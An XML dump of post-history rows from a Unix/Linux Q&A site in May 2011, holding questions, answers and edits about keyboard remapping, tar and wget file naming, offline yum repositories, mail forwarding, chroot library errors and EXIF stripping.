  <row Id="33152" PostHistoryTypeId="5" PostId="12510" RevisionGUID="6169e436-6bb4-4458-aa99-e94e817befc5" CreationDate="2011-05-18T09:26:46.493" UserId="1925" Comment="deleted 19 characters in body" Text="I'm using Xubuntu. Before login I can choose a keyboard layout. I'm using `xmodmap` for remmaping some keys.&#xD;&#xA;&#xD;&#xA;I'm interested in two things:&#xD;&#xA;&#xD;&#xA; 1. How the state of keyboard mapping changes when I turn the laptop on, during the boot  process and login to the system (in these three phases) and when working with the system (logged in).&#xD;&#xA; 2. What causes which symbols will be displayed on the screen (and control keys sent) during the individual phases. When I press some key, it sends some signal to the keyboard driver(?) and then there must be some decision process (applications and configuration files) determining what symbols will be displayed. Answer to this question should be the list of applications and paths to those configuration files (I'm especially interested in Ubuntu (Debian based system), but you can describe some other system, but Ubuntu is preferred)." />
  <row Id="33153" PostHistoryTypeId="2" PostId="13374" RevisionGUID="02779301-6a51-4bfd-9c8b-6146e8160afc" CreationDate="2011-05-18T09:35:44.320" UserId="2974" Text="&gt; I am pretty sure that this memory is being used by Veritas Modules, but: how can I check that? is it possible? &#xD;&#xA;&#xD;&#xA;The traditional way to find out what processes are using memory is to use the `ps` command.&#xD;&#xA;&#xD;&#xA;    ps -e -o user,pid,shmpgsz,spgsz,tpgsz,vmsize,vsz,args" />
  <row Id="33154" PostHistoryTypeId="2" PostId="13375" RevisionGUID="09b30add-d2e2-460c-8998-703d15058dc4" CreationDate="2011-05-18T09:41:58.367" UserId="1835" Text="Install a local MTA, such as `exim`, and configure it to use a `smarthost`, in this case either your ISP's mail server or google's (the latter possibly better if you are concerned about the SMTP reputation of your home IP).&#xD;&#xA;&#xD;&#xA;Then, set up forwarding for your user.  There are many ways to do this. With `exim` on Debian, you can edit `/etc/aliases` and set `foo: foo@gmail.com`.  Another approach would be to create `~/.forward` containing `foo@gmail.com`, but that means your `$HOME` needs to be available at the time mail is sent (not always the case for me, my `$HOME` is only mounted on log in).&#xD;&#xA;&#xD;&#xA;A good MTA (such as `exim`) will support smarthosts and also do retries." />
  <row Id="33155" PostHistoryTypeId="2" PostId="13376" RevisionGUID="08fa4d7c-50c1-41a4-a938-eab6698cba6d" CreationDate="2011-05-18T09:45:52.360" UserId="7374" Text="1) Go to http://mirrors.fedoraproject.org/publiclist/Fedora/14/ and choose a mirror near you.&#xD;&#xA;&#xD;&#xA;2) Go to updates/14/i386/ and download everything using your favourite download manager/tool.&#xD;&#xA;&#xD;&#xA;3) Copy everything to some media (e.g. USB key) and from that key to your Fedora 14 machine. For example you can make a /var/lib/yum/repo/F14_updates directory on your box.&#xD;&#xA;&#xD;&#xA;4) Run `createrepo /path/to/your/downloaded/rpms`.&#xD;&#xA;&#xD;&#xA;5) Add new repository description in /etc/yum.repos.d. Use some existing file as a template. The only change is the path: instead of http://... use file:///path/to/your/downloaded/rpms. Make sure to enable the repository.&#xD;&#xA;&#xD;&#xA;6) Disable all other repositories -- you don't have access to them anyhow, so they won't help you.&#xD;&#xA;&#xD;&#xA;7) Run `yum update` and enjoy your freshly updated system." />
  <row Id="33156" PostHistoryTypeId="2" PostId="13377" RevisionGUID="ed42316e-701e-4414-b033-7a56b4392827" CreationDate="2011-05-18T09:53:12.947" UserId="7571" Text="Hello,&#xD;&#xA;&#xD;&#xA;I often download tarballs with wget from sourceforge.net.&#xD;&#xA;&#xD;&#xA;The downloaded files then are named, e.g SQliteManager-1.2.4.tar.gz?r=http:%2F%2Fsourceforge.net%2Fprojects%2Fsqlitemanager%2Ffiles%2F&amp;ts=1305711521&amp;use_mirror=switch&#xD;&#xA;&#xD;&#xA;When I try to&#xD;&#xA;&#xD;&#xA;    tar xzf SQliteManager-1.2.4.tar.gz\?r\=http\:%2F%2Fsourceforge.net%2Fprojects%2Fsqlitemanager%2Ffiles%2F\&amp;ts\=1305711521\&amp;use_mirror\=switch&#xD;&#xA;&#xD;&#xA;I receive the following error message:&#xD;&#xA;&#xD;&#xA;    tar (child): Cannot connect to SQliteManager-1.2.4.tar.gz?r=http: resolve failed&#xD;&#xA;&#xD;&#xA;    gzip: stdin: unexpected end of file&#xD;&#xA;    tar: Child returned status 128&#xD;&#xA;    tar: Error is not recoverable: exiting now&#xD;&#xA;&#xD;&#xA;After renaming the file to foo.tar.gz the extraction works perfect.&#xD;&#xA;&#xD;&#xA;Is there a way, that i am not forced to rename each time the target file before extracting?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="33157" PostHistoryTypeId="1" PostId="13377" RevisionGUID="ed42316e-701e-4414-b033-7a56b4392827" CreationDate="2011-05-18T09:53:12.947" UserId="7571" Text="tar extraction depends on filename?" />
  <row Id="33158" PostHistoryTypeId="3" PostId="13377" RevisionGUID="ed42316e-701e-4414-b033-7a56b4392827" CreationDate="2011-05-18T09:53:12.947" UserId="7571" Text="éshellàétaràégzipà" />
  <row Id="33159" PostHistoryTypeId="2" PostId="13378" RevisionGUID="15f74b73-1567-48b1-b9d2-c04ceb0784d2" CreationDate="2011-05-18T09:53:23.663" UserId="1925" Text="Use `xev` to find the keycode for the key you want to remap. For example if I press &lt;kbd&gt;Menu&lt;/kbd&gt; key it tells me that that is **keycode 135**.&#xD;&#xA;&#xD;&#xA;Next in my `~/.xmodmaprc` file, I add a line like this:&#xD;&#xA;&#xD;&#xA;    keycode 135 = Super_R&#xD;&#xA;&#xD;&#xA;... to make it the right hand windows key. Then all that remains is to activate the key remaps. This usually happens automatically on login to your x session, but if your Desktop Environment doesn't do that you can run it manually as `xmodmap ~/.xmodmaprc` from a command line or whatever script gets run when you login." />
  <row Id="33160" PostHistoryTypeId="2" PostId="13379" RevisionGUID="a9a49a14-9f79-4271-8d67-b07438939e6c" CreationDate="2011-05-18T09:55:52.647" UserId="1925" Text="When you download with `wget`, specify the output file name with the `-O` option.&#xD;&#xA;&#xD;&#xA;    wget &quot;http://domain.com/file.tgz?crazy=args&amp;stuff=todelete&quot; -O file.tgz&#xD;&#xA;&#xD;&#xA;This will cause the file to save with the given filename and save you the trouble or renaming it. And no, you are not the only one that wishes sourcefourge wouldn't be so dumb as to pass out files with the url parameters attached." />
  <row Id="33161" PostHistoryTypeId="5" PostId="13377" RevisionGUID="9845ce4d-a215-413d-99b2-93dd796e079e" CreationDate="2011-05-18T09:57:48.870" UserId="1925" Comment="deleted 28 characters in body" Text="I often download tarballs with wget from sourceforge.net.&#xD;&#xA;&#xD;&#xA;The downloaded files then are named, e.g `SQliteManager-1.2.4.tar.gz?r=http:%2F%2Fsourceforge.net%2Fprojects%2Fsqlitemanager%2Ffiles%2F&amp;ts=1305711521&amp;use_mirror=switch`&#xD;&#xA;&#xD;&#xA;When I try to&#xD;&#xA;&#xD;&#xA;    tar xzf SQliteManager-1.2.4.tar.gz\?r\=http\:%2F%2Fsourceforge.net%2Fprojects%2Fsqlitemanager%2Ffiles%2F\&amp;ts\=1305711521\&amp;use_mirror\=switch&#xD;&#xA;&#xD;&#xA;I receive the following error message:&#xD;&#xA;&#xD;&#xA;    tar (child): Cannot connect to SQliteManager-1.2.4.tar.gz?r=http: resolve failed&#xD;&#xA;&#xD;&#xA;    gzip: stdin: unexpected end of file&#xD;&#xA;    tar: Child returned status 128&#xD;&#xA;    tar: Error is not recoverable: exiting now&#xD;&#xA;&#xD;&#xA;After renaming the file to `foo.tar.gz` the extraction works perfect.&#xD;&#xA;&#xD;&#xA;Is there a way, that i am not forced to rename each time the target file before extracting?" />
  <row Id="33162" PostHistoryTypeId="2" PostId="13380" RevisionGUID="b2e6b0df-104b-422e-b501-a7883d8d48ee" CreationDate="2011-05-18T09:59:02.130" UserId="7505" Text="Download using &#xD;&#xA;&#xD;&#xA;    wget --trust-server-names URL&#xD;&#xA;&#xD;&#xA;That way wget will save with the correct file names. &#xD;&#xA;By default it uses the last component in the URL&#xD;&#xA;&#xD;&#xA;For eg&#xD;&#xA;&#xD;&#xA;    wget --trust-server-names http://sourceforge.net/projects/sqlitemanager/files/sqlitemanager/1.2.4/SQliteManager-1.2.4.tar.gz/download" />
  <row Id="33163" PostHistoryTypeId="2" PostId="13381" RevisionGUID="fccebe34-b45f-423b-98cb-e079eed36cb4" CreationDate="2011-05-18T10:58:56.947" UserId="1078" Text="The reason for the error you are seeing can be found in the [GNU tar documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; If the archive file name includes a&#xD;&#xA;&gt; colon (‘:’), then it is assumed to be&#xD;&#xA;&gt; a file on another machine[...]&#xD;&#xA;&#xD;&#xA;That is, it is interpretting `SQliteManager-1.2.4.tar.gz?r=http` as a host name and trying to resolve it to an IP address, hence the &quot;resolve failed&quot; error.&#xD;&#xA;&#xD;&#xA;That same documentation goes on to say:&#xD;&#xA;&#xD;&#xA;&gt; If you need to use a file whose name&#xD;&#xA;&gt; includes a colon, then the remote tape&#xD;&#xA;&gt; drive behavior can be inhibited by&#xD;&#xA;&gt; using the ‘--force-local’ option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/tar/manual/html_section/file.html#SEC104" />
  <row Id="33164" PostHistoryTypeId="2" PostId="13382" RevisionGUID="c8733da7-79d7-4079-964e-69974cd10392" CreationDate="2011-05-18T11:32:45.533" UserId="2594" Text="For already downloaded files, this should work:&#xD;&#xA;&#xD;&#xA;    tar xzf - &lt; SQliteManager-1.2.4.tar.gz*" />
  <row Id="33165" PostHistoryTypeId="2" PostId="13383" RevisionGUID="bbb6f7bb-591b-4851-a2bb-fdcff92ddc13" CreationDate="2011-05-18T11:53:42.060" UserId="7351" Text="First thing I do after installing vim:&#xD;&#xA;&#xD;&#xA;`cp ${LOCALBASE:-&quot;/usr/local&quot;}/share/vim/vim*/vimrc_example.vim ~/.vimrc`&#xD;&#xA;&#xD;&#xA;That has most sane defaults, except that I set background=dark." />
  <row Id="33166" PostHistoryTypeId="25" PostId="13377" RevisionGUID="9249e270-2d1e-4d42-8d4b-0fd144fafc83" CreationDate="2011-05-18T12:12:22.053" Comment="http://twitter.com/#!/StackUnix/status/70824039463133184" />
  <row Id="33168" PostHistoryTypeId="2" PostId="13384" RevisionGUID="77e6d043-4f49-4ad7-bc91-0ffe80326dc0" CreationDate="2011-05-18T12:44:13.327" UserId="7576" Text="In Gnome 3:&#xD;&#xA;&#xD;&#xA;    gsettings set org.gnome.settings-daemon.peripherals.touchpad tap-to-click true" />
  <row Id="33169" PostHistoryTypeId="2" PostId="13385" RevisionGUID="0b733c31-5110-44b9-b9fc-d44e1ae512da" CreationDate="2011-05-18T09:37:57.803" UserDisplayName="Ahmed" Text="Dear All&#xD;&#xA;&#xD;&#xA;First i've aproblem in my sunos 5.5.1 unix software so tried to restore data backup after restoration completed /var became empty and i've another WS has the same os so how i could get acopy from one to the other one " />
  <row Id="33170" PostHistoryTypeId="1" PostId="13385" RevisionGUID="0b733c31-5110-44b9-b9fc-d44e1ae512da" CreationDate="2011-05-18T09:37:57.803" UserDisplayName="Ahmed" Text="How can i get acopy for /var sunos 5.5.1 uinx sys" />
  <row Id="33171" PostHistoryTypeId="3" PostId="13385" RevisionGUID="0b733c31-5110-44b9-b9fc-d44e1ae512da" CreationDate="2011-05-18T09:37:57.803" UserDisplayName="Ahmed" Text="éuntaggedà" />
  <row Id="33172" PostHistoryTypeId="17" PostId="13385" RevisionGUID="aee4cb0e-718e-471a-83af-ed84cf8ec2e9" CreationDate="2011-05-18T13:21:56.300" UserId="-1" Comment="from http://stackoverflow.com/questions/6042642/how-can-i-get-acopy-for-var-sunos-5-5-1-uinx-sys" Text="" />
  <row Id="33173" PostHistoryTypeId="2" PostId="13386" RevisionGUID="604cba11-8a8f-4a49-a3f2-cb3a9a101753" CreationDate="2011-05-18T13:48:47.123" UserId="7567" Text="I'm using nm-applet to dial up DSL pppoe connections. As there are a great number of user in my local network, I sometimes have to try many times to establish a connection successfully.&#xD;&#xA;&#xD;&#xA;I wonder is there some way to set nm-applet or networkmanager repeat trying automatically until connect successfully." />
  <row Id="33174" PostHistoryTypeId="1" PostId="13386" RevisionGUID="604cba11-8a8f-4a49-a3f2-cb3a9a101753" CreationDate="2011-05-18T13:48:47.123" UserId="7567" Text="How to let networkmanager repeat try to connect dsl until succeeded?" />
  <row Id="33175" PostHistoryTypeId="3" PostId="13386" RevisionGUID="604cba11-8a8f-4a49-a3f2-cb3a9a101753" CreationDate="2011-05-18T13:48:47.123" UserId="7567" Text="énetworkmanagerà" />
  <row Id="33176" PostHistoryTypeId="2" PostId="13387" RevisionGUID="4b9571e3-b4f9-45c8-9f4b-12058784ec6a" CreationDate="2011-05-18T14:14:24.420" UserId="1762" Text="Not in a general way, because the shell has no way to know whether a given argument is a relative path or not. Of course it could use some heuristics (similar to the ones used for completion), but this might be too error-prone." />
  <row Id="33177" PostHistoryTypeId="5" PostId="4733" RevisionGUID="c59eaa55-4d3c-4d57-ac02-7981302b72d0" CreationDate="2011-05-18T14:19:41.047" UserId="885" Comment="added kernel versions" Text="Meta-answer: All the raw stuff happening to the Linux kernel goes through [lkml (the Linux kernel mailing list)](http://lkml.org/). For explicative summaries, read or search [lwn (Linux weekly news)](http://lwn.net/).&#xD;&#xA;&#xD;&#xA;Answer: From [The new way of ioctl()](http://lwn.net/Articles/119652/) by [Jonathan Corbet](http://lwn.net/Kernel/LDD3/):&#xD;&#xA;&#xD;&#xA;&gt; `ioctl()` is one of the remaining parts of the kernel which runs under the Big Kernel Lock (BKL). In the past, the usage of the BKL has made it possible for long-running `ioctl()` methods to create long latencies for unrelated processes.&#xD;&#xA;&#xD;&#xA;Follows an explanation of the patch that introduced `unlocked_ioctl` and `compat_ioctl` into 2.6.11. The [removal of the `ioctl` field](http://lwn.net/Articles/394724/) happened a lot later, in 2.6.36.&#xD;&#xA;&#xD;&#xA;Explanation: When `ioctl` was executed, it took the [Big Kernel Lock](http://en.wikipedia.org/wiki/Giant_lock) (BKL), so nothing else could execute at the same time. This is very bad on a multiprocessor machine, so there was a big effort to get rid of the BKL. First, `unlocked_ioctl` was introduced. It lets each driver writer choose what lock to use instead. This can be difficult, so there was a period of transition during which old drivers still worked (using `ioctl`) but new drivers could use the improved interface (`unlocked_ioctl`). Eventually all drivers were converted and `ioctl` could be removed.&#xD;&#xA;&#xD;&#xA;`compat_ioctl` is actually unrelated, even though it was added at the same time. Its purpose is to allow 32-bit userland programs to make `ioctl` calls on a 64-bit kernel. The meaning of the last argument to `ioctl` depends on the driver, so there is no way to do a driver-independent conversion.&#xD;&#xA;" />
  <row Id="33179" PostHistoryTypeId="6" PostId="7304" RevisionGUID="e748b954-d4af-452d-b8f0-bfef93f8cfb5" CreationDate="2011-05-18T14:26:16.983" UserId="885" Comment="edited tags" Text="élinuxàéopenwrtàévpnàépppà" />
  <row Id="33180" PostHistoryTypeId="6" PostId="11655" RevisionGUID="efe90fca-cacd-4142-b067-17320969a9ae" CreationDate="2011-05-18T14:27:02.240" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàémodemàépppà" />
  <row Id="33181" PostHistoryTypeId="6" PostId="13386" RevisionGUID="9292aef5-e695-4146-9282-c34b63a31c48" CreationDate="2011-05-18T14:27:29.090" UserId="885" Comment="edited tags" Text="énetworkmanageràépppà" />
  <row Id="33182" PostHistoryTypeId="6" PostId="13385" RevisionGUID="821140fa-af4d-4b3d-b08d-dfaced7fe42e" CreationDate="2011-05-18T14:28:16.263" UserId="885" Comment="grammar" Text="ésolarisà" />
  <row Id="33183" PostHistoryTypeId="5" PostId="13385" RevisionGUID="821140fa-af4d-4b3d-b08d-dfaced7fe42e" CreationDate="2011-05-18T14:28:16.263" UserId="885" Comment="grammar" Text="I had a problem on my SunOS 5.5.1 installation, so I tried to restore from a backup. After the restoration completed, `/var` was empty. I have another workstation with the same OS. How could I get a copy of `/var` from one machine to the other?&#xD;&#xA;" />
  <row Id="33184" PostHistoryTypeId="4" PostId="13385" RevisionGUID="821140fa-af4d-4b3d-b08d-dfaced7fe42e" CreationDate="2011-05-18T14:28:16.263" UserId="885" Comment="grammar" Text="How can I get a copy of /var for SunOS 5.5.1" />
  <row Id="33185" PostHistoryTypeId="2" PostId="13388" RevisionGUID="2190752a-0306-4837-8ba4-cfe40d3b6813" CreationDate="2011-05-18T14:31:19.513" UserId="6960" Text="If I want to share my Films/Videos, what should I choose? My solution would be NFS. The only problem is that that NFS lacks of security (is it true?)." />
  <row Id="33186" PostHistoryTypeId="1" PostId="13388" RevisionGUID="2190752a-0306-4837-8ba4-cfe40d3b6813" CreationDate="2011-05-18T14:31:19.513" UserId="6960" Text="NFS - &quot;like&quot; share under OpenBSD?" />
  <row Id="33187" PostHistoryTypeId="3" PostId="13388" RevisionGUID="2190752a-0306-4837-8ba4-cfe40d3b6813" CreationDate="2011-05-18T14:31:19.513" UserId="6960" Text="éopenbsdàénfsà" />
  <row Id="33188" PostHistoryTypeId="2" PostId="13389" RevisionGUID="b4e2d532-2acc-44db-a392-fca6b0d5e058" CreationDate="2011-05-18T14:38:25.163" UserId="885" Text="If you've lost everything in `/var`, you have nothing to lose by copying over the whole contents of `/var`. I wouldn't advise copying the files though, as many of them will be machine-specific or tied to a particular machine state and most will be created automatically as needed. What you need to have is the directory structure. On the working machine, run this as root:&#xD;&#xA;&#xD;&#xA;    cd /var&#xD;&#xA;    find . -type d | cpio -o &gt;/tmp/var.cpio&#xD;&#xA;&#xD;&#xA;Copy the file `var.cpio` to the damaged machine and run this as root:&#xD;&#xA;&#xD;&#xA;    cd /var&#xD;&#xA;    cpio -i &lt;/tmp/var.cpio&#xD;&#xA;&#xD;&#xA;If you discover files that must be copied as well, add them to the `find` expression above.&#xD;&#xA;" />
  <row Id="33189" PostHistoryTypeId="5" PostId="13255" RevisionGUID="e37cc662-0e41-4792-843c-f8d7633166b9" CreationDate="2011-05-18T14:45:08.237" UserId="1925" Comment="added 304 characters in body" Text="Vincent's [suggestion of using exiftool][1] is good. I suggest you write a script that accepts a single argument of a filename, and runs your desired strip functions on that. Then use `find` to execute this script on your file set. The script would look something like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    exiftool -overwrite_original -ExifFieldName=^ [-MoreExifFieldNames=^] $1&#xD;&#xA;&#xD;&#xA;Say you save this as `/usr/local/bin/strip_exif.sh`, you could then call it by going to the folder that has your jpeg files like this:&#xD;&#xA;&#xD;&#xA;    find -type f -iname '*.jpg' -exec strip_exif.sh {} \;&#xD;&#xA;&#xD;&#xA;**Edit:** After seeing [mattdm's answer][2] about the argument for striping all tags, I figure you can skip the script and just use the find like this:&#xD;&#xA;&#xD;&#xA;    fine -type f -iname '*.jpg' -exec exiftool -all= {} \;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13251/batch-delete-exif-info/13252#13252&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/13251/batch-delete-exif-info/13264#13264" />
  <row Id="33190" PostHistoryTypeId="2" PostId="13390" RevisionGUID="d7ccb0a7-8c35-49a5-9702-571017444cba" CreationDate="2011-05-18T14:52:32.257" UserId="6960" Text="1) A system is installed with an encrypted VG.&lt;br&gt;&#xD;&#xA;2) How can I find out that what did they used?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;It's a Fedora 14, they used dm_crypt OR luks. Or it's the same?&lt;br&gt;" />
  <row Id="33191" PostHistoryTypeId="1" PostId="13390" RevisionGUID="d7ccb0a7-8c35-49a5-9702-571017444cba" CreationDate="2011-05-18T14:52:32.257" UserId="6960" Text="IS the VG encrypted with dm_crypt OR luks? How to find out?" />
  <row Id="33192" PostHistoryTypeId="3" PostId="13390" RevisionGUID="d7ccb0a7-8c35-49a5-9702-571017444cba" CreationDate="2011-05-18T14:52:32.257" UserId="6960" Text="élinuxàéencryptionà" />
  <row Id="33193" PostHistoryTypeId="5" PostId="13358" RevisionGUID="7f9ca7d0-35dd-4f42-9126-c815b0eadadd" CreationDate="2011-05-18T14:58:17.923" UserId="885" Comment="discard dd's stderr; more explanations" Text="In this particular case, [if your `mail` supports the `-E` option](http://unix.stackexchange.com/questions/13326/how-to-pipe-output-from-one-process-to-another-but-only-execute-if-the-first-has/13328#13328), just use it. In the general case, you can try to read one character; if there is one, start the postprocessing command and feed it that character from the rest of the file.&#xD;&#xA;&#xD;&#xA;    pipe_if_not_empty () {&#xD;&#xA;      a=$(dd bs=1 count=1 2&gt;/dev/null; echo .)  # read at most one character&#xD;&#xA;      if [ &quot;$a&quot; != &quot;.&quot; ]; then                  # if there were two characters,&#xD;&#xA;        { printf %s &quot;${a%.}&quot;;                   # then output the first character&#xD;&#xA;          cat; } |                              # and the rest of the input   &#xD;&#xA;        &quot;$@&quot;                                    # into the specified program&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    mailq | egrep 'rejected|refused' -A 5 -B 5 |&#xD;&#xA;    pipe_if_not_empty mail -s 'dd' email@email&#xD;&#xA;&#xD;&#xA;Note the useful use of `cat`. The addition of `echo .` makes this function work even if the first character in the input is a newline (remember that the `$(…)` construct strips terminal newlines).&#xD;&#xA;&#xD;&#xA;With most shells (anything other than zsh, as far as I know), if the file begins with a null character, this code will believe it's empty. Fixing that is left as an exercise for the reader. (Hint: use `od` in the first subshell and `printf` to print the first byte.) You might run into the same issue if the file begins with a byte that is not a valid character in the current locale; that's easier to fix by running this code with `LC_ALL=C`.&#xD;&#xA;" />
  <row Id="33194" PostHistoryTypeId="2" PostId="13391" RevisionGUID="8544f6e3-792a-4058-9b17-e4396cefc446" CreationDate="2011-05-18T15:09:51.610" UserId="2249" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I have currently a strange problem on debian (wheezy/amd64).&#xD;&#xA;&#xD;&#xA;I have created a chroot to install a server (i can't give any more detail about it, sorry). Let's call its path `/chr_path/`.&#xD;&#xA;To make things easy, I have initialized this chroot with a debootstrap (also wheezy/amd64).&#xD;&#xA;&#xD;&#xA;All seemed to work well inside the chroot but when I started the installer script of my serveur I got :&#xD;&#xA;`zsh: Not found /some_path/perl` (the installer includes a perl binary for some reasons)&#xD;&#xA;&#xD;&#xA;Naturally, I checked the `/some_path/` location and I found the &quot;perl&quot; binary. `file` in chroot environment returns :&#xD;&#xA;&#xD;&#xA;    /some_path/perl ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped&#xD;&#xA;&#xD;&#xA;The file exists, seems ok, has correct rights. I can use `file`, `ls`, `vim` on it but as soon as I try to execute it - `./perl` for example - I get : `zsh: Not found ./perl`.&#xD;&#xA;&#xD;&#xA;This situation is quite ununderstable for me. Moreover :&#xD;&#xA;&#xD;&#xA; - I can execute other basic binaries (/bin/ls,...) in the chroot without getting errors&#xD;&#xA; - I have the same problems for other binaries that came with the project&#xD;&#xA; - When I try to execute the binary from the main root (`/chr_path/some_path/perl`), it works.&#xD;&#xA; - I have tried to put one of the binaries with a copy of my `ls`. I checked that the access rights were the same but this didn't change anything (one was working, and the other wasn't)&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Thanks in advance for your help." />
  <row Id="33195" PostHistoryTypeId="1" PostId="13391" RevisionGUID="8544f6e3-792a-4058-9b17-e4396cefc446" CreationDate="2011-05-18T15:09:51.610" UserId="2249" Text="Can't execute some binaries in chroot environment (zsh: Not found)" />
  <row Id="33196" PostHistoryTypeId="3" PostId="13391" RevisionGUID="8544f6e3-792a-4058-9b17-e4396cefc446" CreationDate="2011-05-18T15:09:51.610" UserId="2249" Text="éshellàéchrootàébinaryà" />
  <row Id="33197" PostHistoryTypeId="25" PostId="13388" RevisionGUID="e6984571-31a3-4ebf-b423-b756b3fb30e2" CreationDate="2011-05-18T15:12:22.683" Comment="http://twitter.com/#!/StackUnix/status/70869342421655552" />
  <row Id="33199" PostHistoryTypeId="2" PostId="13392" RevisionGUID="40a8a451-4c6b-4431-95f3-df5677f7cdf8" CreationDate="2011-05-18T15:19:30.627" UserId="7578" Text="To xenoterracide: Default 600 sec.?&#xD;&#xA;&#xD;&#xA;Here http://Kernel.org/doc/Documentation/filesystems/ext4.txt is something different:&#xD;&#xA;&#xD;&#xA;&quot;...&#xD;&#xA;The default value is 5 seconds.&#xD;&#xA;... &#xD;&#xA;Setting it to 0 will have the same effect as leaving it at the default (5 seconds).&#xD;&#xA;...&quot;" />
  <row Id="33200" PostHistoryTypeId="5" PostId="13388" RevisionGUID="9f820dca-7ec0-4503-8866-26ae7a9d9078" CreationDate="2011-05-18T15:20:52.417" UserId="73" Comment="deleted 40 characters in body; edited title" Text="I'm looking to share my films/videos. My solution would be NFS, but I think it lacks security -- is that true?" />
  <row Id="33201" PostHistoryTypeId="4" PostId="13388" RevisionGUID="9f820dca-7ec0-4503-8866-26ae7a9d9078" CreationDate="2011-05-18T15:20:52.417" UserId="73" Comment="deleted 40 characters in body; edited title" Text="NFS security under OpenBSD?" />
  <row Id="33202" PostHistoryTypeId="2" PostId="13393" RevisionGUID="5df90927-517b-463d-91ad-8874905bbd38" CreationDate="2011-05-18T15:21:44.970" UserId="1078" Text="Run `ldd(1)` on your `perl` binary. Often the seemingly confusing `Not found` error on a file that is clearly there is because one of the shared libraries used by the program is not found.&#xD;&#xA;&#xD;&#xA;So it is possible that your chroot is incomplete with respect to the shared libraries needed by your binaries." />
  <row Id="33203" PostHistoryTypeId="5" PostId="13390" RevisionGUID="3e91aa49-196d-47c6-b907-da1f9e74cc7c" CreationDate="2011-05-18T15:23:00.480" UserId="73" Comment="edited body; edited title" Text="A system is installed with an encrypted VG. How can I find out if they used dm_crypt or luks? It's running Fedora 14, so I think it's one of those. Or are they the same thing?&#xD;&#xA;" />
  <row Id="33204" PostHistoryTypeId="4" PostId="13390" RevisionGUID="3e91aa49-196d-47c6-b907-da1f9e74cc7c" CreationDate="2011-05-18T15:23:00.480" UserId="73" Comment="edited body; edited title" Text="Is the VG encrypted with dm_crypt OR luks? How to find out?" />
  <row Id="33205" PostHistoryTypeId="6" PostId="13391" RevisionGUID="9068b8e7-c6c0-45d4-bd67-4339873cc606" CreationDate="2011-05-18T15:24:36.887" UserId="885" Comment="edited tags" Text="éexecutableàé64bitàéchrootà" />
  <row Id="33210" PostHistoryTypeId="5" PostId="13376" RevisionGUID="1662874a-fd9d-4683-861e-7479fbeae450" CreationDate="2011-05-18T15:40:22.467" UserId="73" Comment="edited body" Text="1. Go to http://mirrors.fedoraproject.org/publiclist/Fedora/14/ and choose a mirror near you.&#xD;&#xA;&#xD;&#xA;2. Go to updates/14/i386/ and download everything using your favourite download manager/tool.&#xD;&#xA;&#xD;&#xA;3. Copy everything to some media (e.g. USB key) and from that key to your Fedora 14 machine. For example you can make a /var/lib/yum/repo/F14_updates directory on your box.&#xD;&#xA;&#xD;&#xA;4. Run `createrepo /path/to/your/downloaded/rpms`.&#xD;&#xA;&#xD;&#xA;5. Add new repository description in /etc/yum.repos.d. Use some existing file as a template. The only change is the path: instead of http://... use file:///path/to/your/downloaded/rpms. Make sure to enable the repository.&#xD;&#xA;&#xD;&#xA;6. Disable all other repositories -- you don't have access to them anyhow, so they won't help you.&#xD;&#xA;&#xD;&#xA;7. Run `yum update` and enjoy your freshly updated system." />
  <row Id="33214" PostHistoryTypeId="5" PostId="13391" RevisionGUID="4dd79723-dfa0-4e53-aa38-2e3fbe8c68ba" CreationDate="2011-05-18T15:53:09.310" UserId="1925" Comment="Remove salutation and signature per FAQ." Text="I have currently a strange problem on debian (wheezy/amd64).&#xD;&#xA;&#xD;&#xA;I have created a chroot to install a server (i can't give any more detail about it, sorry). Let's call its path `/chr_path/`.&#xD;&#xA;To make things easy, I have initialized this chroot with a debootstrap (also wheezy/amd64).&#xD;&#xA;&#xD;&#xA;All seemed to work well inside the chroot but when I started the installer script of my serveur I got :&#xD;&#xA;`zsh: Not found /some_path/perl` (the installer includes a perl binary for some reasons)&#xD;&#xA;&#xD;&#xA;Naturally, I checked the `/some_path/` location and I found the &quot;perl&quot; binary. `file` in chroot environment returns :&#xD;&#xA;&#xD;&#xA;    /some_path/perl ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped&#xD;&#xA;&#xD;&#xA;The file exists, seems ok, has correct rights. I can use `file`, `ls`, `vim` on it but as soon as I try to execute it - `./perl` for example - I get : `zsh: Not found ./perl`.&#xD;&#xA;&#xD;&#xA;This situation is quite ununderstable for me. Moreover :&#xD;&#xA;&#xD;&#xA; - I can execute other basic binaries (/bin/ls,...) in the chroot without getting errors&#xD;&#xA; - I have the same problems for other binaries that came with the project&#xD;&#xA; - When I try to execute the binary from the main root (`/chr_path/some_path/perl`), it works.&#xD;&#xA; - I have tried to put one of the binaries with a copy of my `ls`. I checked that the access rights were the same but this didn't change anything (one was working, and the other wasn't)" />
  <row Id="33216" PostHistoryTypeId="2" PostId="13395" RevisionGUID="d3040229-803e-4f2d-b1eb-d2ce5a1567d5" CreationDate="2011-05-18T16:12:27.977" UserId="4877" Text="Probably a simple question.&#xD;&#xA;im doing a shell command (such as sh run.sh &gt; log.txt)&#xD;&#xA;how do you overwrite the file each time (so each time I run it log.txt doesn't get appended)&#xD;&#xA;&#xD;&#xA;Im doing this in a python script and Im checking the log file each time for a specific number (and I don't want the numbers to get added onto the log.txt, just replaced)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="33217" PostHistoryTypeId="1" PostId="13395" RevisionGUID="d3040229-803e-4f2d-b1eb-d2ce5a1567d5" CreationDate="2011-05-18T16:12:27.977" UserId="4877" Text="Unix &gt; overwrite command?" />
